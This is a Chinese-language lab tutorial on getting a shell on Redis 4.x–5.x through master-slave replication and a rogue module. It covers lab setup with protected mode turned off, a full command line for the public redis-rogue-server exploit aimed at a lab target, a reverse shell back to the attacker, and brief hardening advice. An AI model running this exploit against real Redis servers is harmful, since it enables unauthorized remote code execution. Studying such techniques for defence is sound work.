通过主从复制 GetShell

Redis主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

Redis模块

在了解了主从同步之后,我们还需要对redis的模块有所了解。

在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

由此可知,此方式的利用范围。

Redis 4.x-Redis 5.x

靶机:ubuntu 18.04.1   ip:192.168.112.132

攻击机:kali   ip:192.168.112.133

一、环境搭建。
  1)wget http://download.redis.io/releases/redis-5.0.0.tar.gz
  tar -xvzf redis-5.0.0.tar.gz
  cd redis-5.0.0
  make


  2)不同机器上需更改redis.conf配置文件
  protected-mode yes 改为
  protected-mode no

#关闭redis保护模式

bind 127.0.0.1 改为

bind 0.0.0.0  

#注意:bind的意思不是绑定外部服务器的IP,而是绑定本机可以接受连接的网卡地址,默认是只能本地访问,改动后服务器上任意网卡地址可访问。 

 

通过主从复制 GetShell

3)靶机启动服务

cd src

./redis-server ../redis.conf
  #加载指定配置

二、exp准备

https://github.com/n0b0dyCN/redis-rogue-server

用法:python3 redis-rogue-server.py --rhost=192.168.112.132 --lhost=192.168.112.133 --exp=exp.so

三、exploit

弹shell至本机的时候,需输入攻击机ip,输入监听端口。

监听,成功。

 通过主从复制 GetShell

修复建议:

  由于该漏洞利用前提是获取redis访问权限,也就是基于redis未授权访问。因此可考虑把产生问题的家伙解决掉。

  redis加固:https://www.cnblogs.com/iamver/p/7985556.html

 

参考链接:

  https://www.anquanke.com/post/id/181734

  https://lorexxar.cn/2019/07/10/redis-5-x-rce/

相关推荐